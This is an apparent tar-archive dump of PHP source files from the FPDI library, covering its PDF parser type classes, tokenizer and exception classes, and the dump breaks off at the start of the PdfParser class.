��������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfNull.php�������������������������������������������������0000644�����������������00000000640�14760002214�0016247 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; /** * Class representing a PDF null object * * @package setasign\Fpdi\PdfParser\Type */ class PdfNull extends PdfType { // empty body } ������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfArray.php������������������������������������������������0000644�����������������00000004141�14760002214�0016413 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\Tokenizer; /** * Class representing a PDF array object * * @package setasign\Fpdi\PdfParser\Type * @property array $value The value of the PDF type. */ class PdfArray extends PdfType { /** * Parses an array of the passed tokenizer and parser. * * @param Tokenizer $tokenizer * @param PdfParser $parser * @return bool|self * @throws PdfTypeException */ public static function parse(Tokenizer $tokenizer, PdfParser $parser) { $result = []; // Recurse into this function until we reach the end of the array. while (($token = $tokenizer->getNextToken()) !== ']') { if ($token === false || ($value = $parser->readValue($token)) === false) { return false; } $result[] = $value; } $v = new self; $v->value = $result; return $v; } /** * Helper method to create an instance. * * @param PdfType[] $values * @return self */ public static function create(array $values = []) { $v = new self; $v->value = $values; return $v; } /** * Ensures that the passed array is a PdfArray instance with a (optional) specific size. * * @param mixed $array * @param null|int $size * @return self * @throws PdfTypeException */ public static function ensure($array, $size = null) { $result = PdfType::ensureType(self::class, $array, 'Array value expected.'); if ($size !== null && \count($array->value) !== $size) { throw new PdfTypeException( \sprintf('Array with %s entries expected.', $size), PdfTypeException::INVALID_DATA_SIZE ); } return $result; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfDictionary.php�������������������������������������������0000644�����������������00000007005�14760002214�0017444 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\StreamReader; use setasign\Fpdi\PdfParser\Tokenizer; /** * Class representing a PDF dictionary object * * @package setasign\Fpdi\PdfParser\Type */ class PdfDictionary extends PdfType { /** * Parses a dictionary of the passed tokenizer, stream-reader and parser. * * @param Tokenizer $tokenizer * @param StreamReader $streamReader * @param PdfParser $parser * @return bool|self * @throws PdfTypeException */ public static function parse(Tokenizer $tokenizer, StreamReader $streamReader, PdfParser $parser) { $entries = []; while (true) { $token = $tokenizer->getNextToken(); if ($token === '>' && $streamReader->getByte() === '>') { $streamReader->addOffset(1); break; } $key = $parser->readValue($token); if ($key === false) { return false; } // ensure the first value to be a Name object if (!($key instanceof PdfName)) { $lastToken = null; // ignore all other entries and search for the closing brackets while (($token = $tokenizer->getNextToken()) !== '>' && $token !== false && $lastToken !== '>') { $lastToken = $token; } if ($token === false) { return false; } break; } $value = $parser->readValue(); if ($value === false) { return false; } if ($value instanceof PdfNull) { continue; } // catch missing value if ($value instanceof PdfToken && $value->value === '>' && $streamReader->getByte() === '>') { $streamReader->addOffset(1); break; } $entries[$key->value] = $value; } $v = new self; $v->value = $entries; return $v; } /** * Helper method to create an instance. * * @param PdfType[] $entries The keys are the name entries of the dictionary. * @return self */ public static function create(array $entries = []) { $v = new self; $v->value = $entries; return $v; } /** * Get a value by its key from a dictionary or a default value. * * @param mixed $dictionary * @param string $key * @param PdfType|mixed|null $default * @return PdfNull|PdfType * @throws PdfTypeException */ public static function get($dictionary, $key, PdfType $default = null) { $dictionary = self::ensure($dictionary); if (isset($dictionary->value[$key])) { return $dictionary->value[$key]; } return $default === null ? new PdfNull() : $default; } /** * Ensures that the passed value is a PdfDictionary instance. * * @param mixed $dictionary * @return self * @throws PdfTypeException */ public static function ensure($dictionary) { return PdfType::ensureType(self::class, $dictionary, 'Dictionary value expected.'); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfHexString.php��������������������������������������������0000644�����������������00000003644�14760002214�0017257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\StreamReader; /** * Class representing a hexadecimal encoded PDF string object * * @package setasign\Fpdi\PdfParser\Type */ class PdfHexString extends PdfType { /** * Parses a hexadecimal string object from the stream reader. * * @param StreamReader $streamReader * @return bool|self */ public static function parse(StreamReader $streamReader) { $bufferOffset = $streamReader->getOffset(); /** * @var string $buffer * @var int $pos */ while (true) { $buffer = $streamReader->getBuffer(false); $pos = \strpos($buffer, '>', $bufferOffset); if ($pos === false) { if (!$streamReader->increaseLength()) { return false; } continue; } break; } $result = \substr($buffer, $bufferOffset, $pos - $bufferOffset); $streamReader->setOffset($pos + 1); $v = new self; $v->value = $result; return $v; } /** * Helper method to create an instance. * * @param string $string The hex encoded string. * @return self */ public static function create($string) { $v = new self; $v->value = $string; return $v; } /** * Ensures that the passed value is a PdfHexString instance. * * @param mixed $hexString * @return self * @throws PdfTypeException */ public static function ensure($hexString) { return PdfType::ensureType(self::class, $hexString, 'Hex string value expected.'); } } ��������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfBoolean.php����������������������������������������������0000644�����������������00000001673�14760002214�0016723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; /** * Class representing a boolean PDF object * * @package setasign\Fpdi\PdfParser\Type */ class PdfBoolean extends PdfType { /** * Helper method to create an instance. * * @param bool $value * @return self */ public static function create($value) { $v = new self; $v->value = (boolean) $value; return $v; } /** * Ensures that the passed value is a PdfBoolean instance. * * @param mixed $value * @return self * @throws PdfTypeException */ public static function ensure($value) { return PdfType::ensureType(self::class, $value, 'Boolean value expected.'); } } ���������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfString.php�����������������������������������������������0000644�����������������00000012051�14760002214�0016602 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\StreamReader; /** * Class representing a PDF string object * * @package setasign\Fpdi\PdfParser\Type */ class PdfString extends PdfType { /** * Parses a string object from the stream reader. * * @param StreamReader $streamReader * @return self */ public static function parse(StreamReader $streamReader) { $pos = $startPos = $streamReader->getOffset(); $openBrackets = 1; do { $buffer = $streamReader->getBuffer(false); for ($length = \strlen($buffer); $openBrackets !== 0 && $pos < $length; $pos++) { switch ($buffer[$pos]) { case '(': $openBrackets++; break; case ')': $openBrackets--; break; case '\\': $pos++; } } } while ($openBrackets !== 0 && $streamReader->increaseLength()); $result = \substr($buffer, $startPos, $openBrackets + $pos - $startPos - 1); $streamReader->setOffset($pos); $v = new self; $v->value = $result; return $v; } /** * Helper method to create an instance. * * @param string $value The string needs to be escaped accordingly. * @return self */ public static function create($value) { $v = new self; $v->value = $value; return $v; } /** * Ensures that the passed value is a PdfString instance. * * @param mixed $string * @return self * @throws PdfTypeException */ public static function ensure($string) { return PdfType::ensureType(self::class, $string, 'String value expected.'); } /** * Unescapes escaped sequences in a PDF string according to the PDF specification. * * @param string $s * @return string */ public static function unescape($s) { $out = ''; /** @noinspection ForeachInvariantsInspection */ for ($count = 0, $n = \strlen($s); $count < $n; $count++) { if ($s[$count] !== '\\') { $out .= $s[$count]; } else { // A backslash at the end of the string - ignore it if ($count === ($n - 1)) { break; } switch ($s[++$count]) { case ')': case '(': case '\\': $out .= $s[$count]; break; case 'f': $out .= "\x0C"; break; case 'b': $out .= "\x08"; break; case 't': $out .= "\x09"; break; case 'r': $out .= "\x0D"; break; case 'n': $out .= "\x0A"; break; case "\r": if ($count !== $n - 1 && $s[$count + 1] === "\n") { $count++; } break; case "\n": break; default: $actualChar = \ord($s[$count]); // ascii 48 = number 0 // ascii 57 = number 9 if ($actualChar >= 48 && $actualChar <= 57) { $oct = '' . $s[$count]; /** @noinspection NotOptimalIfConditionsInspection */ if ($count + 1 < $n && \ord($s[$count + 1]) >= 48 && \ord($s[$count + 1]) <= 57 ) { $count++; $oct .= $s[$count]; /** @noinspection NotOptimalIfConditionsInspection */ if ($count + 1 < $n && \ord($s[$count + 1]) >= 48 && \ord($s[$count + 1]) <= 57 ) { $oct .= $s[++$count]; } } $out .= \chr(\octdec($oct)); } else { // If the character is not one of those defined, the backslash is ignored $out .= $s[$count]; } } } } return $out; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfIndirectObject.php���������������������������������������0000644�����������������00000005065�14760002214�0020233 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\StreamReader; use setasign\Fpdi\PdfParser\Tokenizer; /** * Class representing an indirect object * * @package setasign\Fpdi\PdfParser\Type */ class PdfIndirectObject extends PdfType { /** * Parses an indirect object from a tokenizer, parser and stream-reader. * * @param int $objectNumberToken * @param int $objectGenerationNumberToken * @param PdfParser $parser * @param Tokenizer $tokenizer * @param StreamReader $reader * @return bool|self * @throws PdfTypeException */ public static function parse( $objectNumberToken, $objectGenerationNumberToken, PdfParser $parser, Tokenizer $tokenizer, StreamReader $reader ) { $value = $parser->readValue(); if ($value === false) { return false; } $nextToken = $tokenizer->getNextToken(); if ($nextToken === 'stream') { $value = PdfStream::parse($value, $reader, $parser); } elseif ($nextToken !== false) { $tokenizer->pushStack($nextToken); } $v = new self; $v->objectNumber = (int) $objectNumberToken; $v->generationNumber = (int) $objectGenerationNumberToken; $v->value = $value; return $v; } /** * Helper method to create an instance. * * @param int $objectNumber * @param int $generationNumber * @param PdfType $value * @return self */ public static function create($objectNumber, $generationNumber, PdfType $value) { $v = new self; $v->objectNumber = (int) $objectNumber; $v->generationNumber = (int) $generationNumber; $v->value = $value; return $v; } /** * Ensures that the passed value is a PdfIndirectObject instance. * * @param mixed $indirectObject * @return self * @throws PdfTypeException */ public static function ensure($indirectObject) { return PdfType::ensureType(self::class, $indirectObject, 'Indirect object expected.'); } /** * The object number. * * @var int */ public $objectNumber; /** * The generation number. * * @var int */ public $generationNumber; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfIndirectObjectReference.php������������������������������0000644�����������������00000002311�14760002214�0022041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; /** * Class representing an indirect object reference * * @package setasign\Fpdi\PdfParser\Type */ class PdfIndirectObjectReference extends PdfType { /** * Helper method to create an instance. * * @param int $objectNumber * @param int $generationNumber * @return self */ public static function create($objectNumber, $generationNumber) { $v = new self; $v->value = (int) $objectNumber; $v->generationNumber = (int) $generationNumber; return $v; } /** * Ensures that the passed value is a PdfIndirectObject instance. * * @param mixed $value * @return self * @throws PdfTypeException */ public static function ensure($value) { return PdfType::ensureType(self::class, $value, 'Indirect reference value expected.'); } /** * The generation number. * * @var int */ public $generationNumber; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfStream.php�����������������������������������������������0000644�����������������00000023566�14760002214�0016604 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\Filter\Ascii85; use setasign\Fpdi\PdfParser\Filter\AsciiHex; use setasign\Fpdi\PdfParser\Filter\FilterException; use setasign\Fpdi\PdfParser\Filter\Flate; use setasign\Fpdi\PdfParser\Filter\Lzw; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\StreamReader; use setasign\FpdiPdfParser\PdfParser\Filter\Predictor; /** * Class representing a PDF stream object * * @package setasign\Fpdi\PdfParser\Type */ class PdfStream extends PdfType { /** * Parses a stream from a stream reader. * * @param PdfDictionary $dictionary * @param StreamReader $reader * @param PdfParser $parser Optional to keep backwards compatibility * @return self * @throws PdfTypeException */ public static function parse(PdfDictionary $dictionary, StreamReader $reader, PdfParser $parser = null) { $v = new self; $v->value = $dictionary; $v->reader = $reader; $v->parser = $parser; $offset = $reader->getOffset(); // Find the first "newline" while (($firstByte = $reader->getByte($offset)) !== false) { if ($firstByte !== "\n" && $firstByte !== "\r") { $offset++; } else { break; } } if (false === $firstByte) { throw new PdfTypeException( 'Unable to parse stream data. No newline after the stream keyword found.', PdfTypeException::NO_NEWLINE_AFTER_STREAM_KEYWORD ); } $sndByte = $reader->getByte($offset + 1); if ($firstByte === "\n" || $firstByte === "\r") { $offset++; } if ($sndByte === "\n" && $firstByte !== "\n") { $offset++; } $reader->setOffset($offset); // let's only save the byte-offset and read the stream only when needed $v->stream = $reader->getPosition() + $reader->getOffset(); return $v; } /** * Helper method to create an instance. * * @param PdfDictionary $dictionary * @param string $stream * @return self */ public static function create(PdfDictionary $dictionary, $stream) { $v = new self; $v->value = $dictionary; $v->stream = (string) $stream; return $v; } /** * Ensures that the passed value is a PdfStream instance. * * @param mixed $stream * @return self * @throws PdfTypeException */ public static function ensure($stream) { return PdfType::ensureType(self::class, $stream, 'Stream value expected.'); } /** * The stream or its byte-offset position. * * @var int|string */ protected $stream; /** * The stream reader instance. * * @var StreamReader */ protected $reader; /** * The PDF parser instance. * * @var PdfParser */ protected $parser; /** * Get the stream data. * * @param bool $cache Whether cache the stream data or not. * @return bool|string * @throws PdfTypeException * @throws CrossReferenceException * @throws PdfParserException */ public function getStream($cache = false) { if (\is_int($this->stream)) { $length = PdfDictionary::get($this->value, 'Length'); if ($this->parser !== null) { $length = PdfType::resolve($length, $this->parser); } if (!($length instanceof PdfNumeric) || $length->value === 0) { $this->reader->reset($this->stream, 100000); $buffer = $this->extractStream(); } else { $this->reader->reset($this->stream, $length->value); $buffer = $this->reader->getBuffer(false); if ($this->parser !== null) { $this->reader->reset($this->stream + strlen($buffer)); $this->parser->getTokenizer()->clearStack(); $token = $this->parser->readValue(); if ($token === false || !($token instanceof PdfToken) || $token->value !== 'endstream') { $this->reader->reset($this->stream, 100000); $buffer = $this->extractStream(); $this->reader->reset($this->stream + strlen($buffer)); } } } if ($cache === false) { return $buffer; } $this->stream = $buffer; $this->reader = null; } return $this->stream; } /** * Extract the stream "manually". * * @return string * @throws PdfTypeException */ protected function extractStream() { while (true) { $buffer = $this->reader->getBuffer(false); $length = \strpos($buffer, 'endstream'); if ($length === false) { if (!$this->reader->increaseLength(100000)) { throw new PdfTypeException('Cannot extract stream.'); } continue; } break; } $buffer = \substr($buffer, 0, $length); $lastByte = \substr($buffer, -1); /* Check for EOL marker = * CARRIAGE RETURN (\r) and a LINE FEED (\n) or just a LINE FEED (\n}, * and not by a CARRIAGE RETURN (\r) alone */ if ($lastByte === "\n") { $buffer = \substr($buffer, 0, -1); $lastByte = \substr($buffer, -1); if ($lastByte === "\r") { $buffer = \substr($buffer, 0, -1); } } return $buffer; } /** * Get the unfiltered stream data. * * @return string * @throws FilterException * @throws PdfParserException */ public function getUnfilteredStream() { $stream = $this->getStream(); $filters = PdfDictionary::get($this->value, 'Filter'); if ($filters instanceof PdfNull) { return $stream; } if ($filters instanceof PdfArray) { $filters = $filters->value; } else { $filters = [$filters]; } $decodeParams = PdfDictionary::get($this->value, 'DecodeParms'); if ($decodeParams instanceof PdfArray) { $decodeParams = $decodeParams->value; } else { $decodeParams = [$decodeParams]; } foreach ($filters as $key => $filter) { if (!($filter instanceof PdfName)) { continue; } $decodeParam = null; if (isset($decodeParams[$key])) { $decodeParam = ($decodeParams[$key] instanceof PdfDictionary ? $decodeParams[$key] : null); } switch ($filter->value) { case 'FlateDecode': case 'Fl': case 'LZWDecode': case 'LZW': if (\strpos($filter->value, 'LZW') === 0) { $filterObject = new Lzw(); } else { $filterObject = new Flate(); } $stream = $filterObject->decode($stream); if ($decodeParam instanceof PdfDictionary) { $predictor = PdfDictionary::get($decodeParam, 'Predictor', PdfNumeric::create(1)); if ($predictor->value !== 1) { if (!\class_exists(Predictor::class)) { throw new PdfParserException( 'This PDF document makes use of features which are only implemented in the ' . 'commercial "FPDI PDF-Parser" add-on (see https://www.setasign.com/fpdi-pdf-' . 'parser).', PdfParserException::IMPLEMENTED_IN_FPDI_PDF_PARSER ); } $colors = PdfDictionary::get($decodeParam, 'Colors', PdfNumeric::create(1)); $bitsPerComponent = PdfDictionary::get( $decodeParam, 'BitsPerComponent', PdfNumeric::create(8) ); $columns = PdfDictionary::get($decodeParam, 'Columns', PdfNumeric::create(1)); $filterObject = new Predictor( $predictor->value, $colors->value, $bitsPerComponent->value, $columns->value ); $stream = $filterObject->decode($stream); } } break; case 'ASCII85Decode': case 'A85': $filterObject = new Ascii85(); $stream = $filterObject->decode($stream); break; case 'ASCIIHexDecode': case 'AHx': $filterObject = new AsciiHex(); $stream = $filterObject->decode($stream); break; default: throw new FilterException( \sprintf('Unsupported filter "%s".', $filter->value), FilterException::UNSUPPORTED_FILTER ); } } return $stream; } } ������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfNumeric.php����������������������������������������������0000644�����������������00000001701�14760002214�0016736 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; /** * Class representing a numeric PDF object * * @package setasign\Fpdi\PdfParser\Type */ class PdfNumeric extends PdfType { /** * Helper method to create an instance. * * @param int|float $value * @return PdfNumeric */ public static function create($value) { $v = new self; $v->value = $value + 0; return $v; } /** * Ensures that the passed value is a PdfNumeric instance. * * @param mixed $value * @return self * @throws PdfTypeException */ public static function ensure($value) { return PdfType::ensureType(self::class, $value, 'Numeric value expected.'); } } ���������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfType.php�������������������������������������������������0000644�����������������00000004062�14760002214�0016260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\PdfParserException; /** * A class defining a PDF data type * * @package setasign\Fpdi\PdfParser\Type */ class PdfType { /** * Resolves a PdfType value to its value. * * This method is used to evaluate indirect and direct object references until a final value is reached. * * @param PdfType $value * @param PdfParser $parser * @param bool $stopAtIndirectObject * @return PdfType * @throws CrossReferenceException * @throws PdfParserException */ public static function resolve(PdfType $value, PdfParser $parser, $stopAtIndirectObject = false) { if ($value instanceof PdfIndirectObject) { if ($stopAtIndirectObject === true) { return $value; } return self::resolve($value->value, $parser, $stopAtIndirectObject); } if ($value instanceof PdfIndirectObjectReference) { return self::resolve($parser->getIndirectObject($value->value), $parser, $stopAtIndirectObject); } return $value; } /** * Ensure that a value is an instance of a specific PDF type. * * @param string $type * @param PdfType $value * @param string $errorMessage * @return mixed * @throws PdfTypeException */ protected static function ensureType($type, $value, $errorMessage) { if (!($value instanceof $type)) { throw new PdfTypeException( $errorMessage, PdfTypeException::INVALID_DATA_TYPE ); } return $value; } /** * The value of the PDF type. * * @var mixed */ public $value; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfTypeException.php����������������������������������������0000644�����������������00000001047�14760002214�0020137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\PdfParserException; /** * Exception class for pdf type classes * * @package setasign\Fpdi\PdfParser\Type */ class PdfTypeException extends PdfParserException { /** * @var int */ const NO_NEWLINE_AFTER_STREAM_KEYWORD = 0x0601; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Type/PdfToken.php������������������������������������������������0000644�����������������00000001652�14760002214�0016421 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; /** * Class representing PDF token object * * @package setasign\Fpdi\PdfParser\Type */ class PdfToken extends PdfType { /** * Helper method to create an instance. * * @param string $token * @return self */ public static function create($token) { $v = new self; $v->value = $token; return $v; } /** * Ensures that the passed value is a PdfToken instance. * * @param mixed $token * @return self * @throws PdfTypeException */ public static function ensure($token) { return PdfType::ensureType(self::class, $token, 'Token value expected.'); } } ��������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/PdfParserException.php�������������������������������������������0000644�����������������00000001561�14760002214�0017532 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser; use setasign\Fpdi\FpdiException; /** * Exception for the pdf parser class * * @package setasign\Fpdi\PdfParser */ class PdfParserException extends FpdiException { /** * @var int */ const NOT_IMPLEMENTED = 0x0001; /** * @var int */ const IMPLEMENTED_IN_FPDI_PDF_PARSER = 0x0002; /** * @var int */ const INVALID_DATA_TYPE = 0x0003; /** * @var int */ const FILE_HEADER_NOT_FOUND = 0x0004; /** * @var int */ const PDF_VERSION_NOT_FOUND = 0x0005; /** * @var int */ const INVALID_DATA_SIZE = 0x0006; } �����������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/Tokenizer.php����������������������������������������������������0000644�����������������00000007303�14760002214�0015737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser; /** * A tokenizer class. * * @package setasign\Fpdi\PdfParser */ class Tokenizer { /** * @var StreamReader */ protected $streamReader; /** * A token stack. * * @var string[] */ protected $stack = []; /** * Tokenizer constructor. * * @param StreamReader $streamReader */ public function __construct(StreamReader $streamReader) { $this->streamReader = $streamReader; } /** * Get the stream reader instance. * * @return StreamReader */ public function getStreamReader() { return $this->streamReader; } /** * Clear the token stack. */ public function clearStack() { $this->stack = []; } /** * Push a token onto the stack. * * @param string $token */ public function pushStack($token) { $this->stack[] = $token; } /** * Get next token. * * @return bool|string */ public function getNextToken() { $token = \array_pop($this->stack); if ($token !== null) { return $token; } if (($byte = $this->streamReader->readByte()) === false) { return false; } if ($byte === "\x20" || $byte === "\x0A" || $byte === "\x0D" || $byte === "\x0C" || $byte === "\x09" || $byte === "\x00" ) { if ($this->leapWhiteSpaces() === false) { return false; } $byte = $this->streamReader->readByte(); } switch ($byte) { case '/': case '[': case ']': case '(': case ')': case '{': case '}': case '<': case '>': return $byte; case '%': $this->streamReader->readLine(); return $this->getNextToken(); } /* This way is faster than checking single bytes. */ $bufferOffset = $this->streamReader->getOffset(); do { $lastBuffer = $this->streamReader->getBuffer(false); $pos = \strcspn( $lastBuffer, "\x00\x09\x0A\x0C\x0D\x20()<>[]{}/%", $bufferOffset ); } while ( // Break the loop if a delimiter or white space char is matched // in the current buffer or increase the buffers length $lastBuffer !== false && ( $bufferOffset + $pos === \strlen($lastBuffer) && $this->streamReader->increaseLength() ) ); $result = \substr($lastBuffer, $bufferOffset - 1, $pos + 1); $this->streamReader->setOffset($bufferOffset + $pos); return $result; } /** * Leap white spaces. * * @return boolean */ public function leapWhiteSpaces() { do { if (!$this->streamReader->ensureContent()) { return false; } $buffer = $this->streamReader->getBuffer(false); $matches = \strspn($buffer, "\x20\x0A\x0C\x0D\x09\x00", $this->streamReader->getOffset()); if ($matches > 0) { $this->streamReader->addOffset($matches); } } while ($this->streamReader->getOffset() >= $this->streamReader->getBufferLength()); return true; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/PdfParser/PdfParser.php����������������������������������������������������0000644�����������������00000026530�14760002214�0015656 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser; use setasign\Fpdi\PdfParser\CrossReference\CrossReference; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\Type\PdfArray; use setasign\Fpdi\PdfParser\Type\PdfBoolean; use setasign\Fpdi\PdfParser\Type\PdfDictionary; use setasign\Fpdi\PdfParser\Type\PdfHexString; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfIndirectObjectReference; use setasign\Fpdi\PdfParser\Type\PdfName; use setasign\Fpdi\PdfParser\Type\PdfNull; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfString; use setasign\Fpdi\PdfParser\Type\PdfToken; use setasign\Fpdi\PdfParser\Type\PdfType; /** * A PDF parser class * * @package setasign\Fpdi\PdfParser */ class PdfParser { /** * @var StreamReader */ protected $streamReader; /** * @var Tokenizer */ protected $tokenizer; /** * The file header. * * @var string */ protected $fileHeader; /** * The offset to the file header. * * @var int */ protected $fileHeaderOffset; /** * @var CrossReference */ protected $xref; /** * All read objects. * * @var array */ protected $objects = []; /** * PdfParser constructor. * * @param StreamReader $streamReader */ public function __construct(StreamReader $streamReader) { 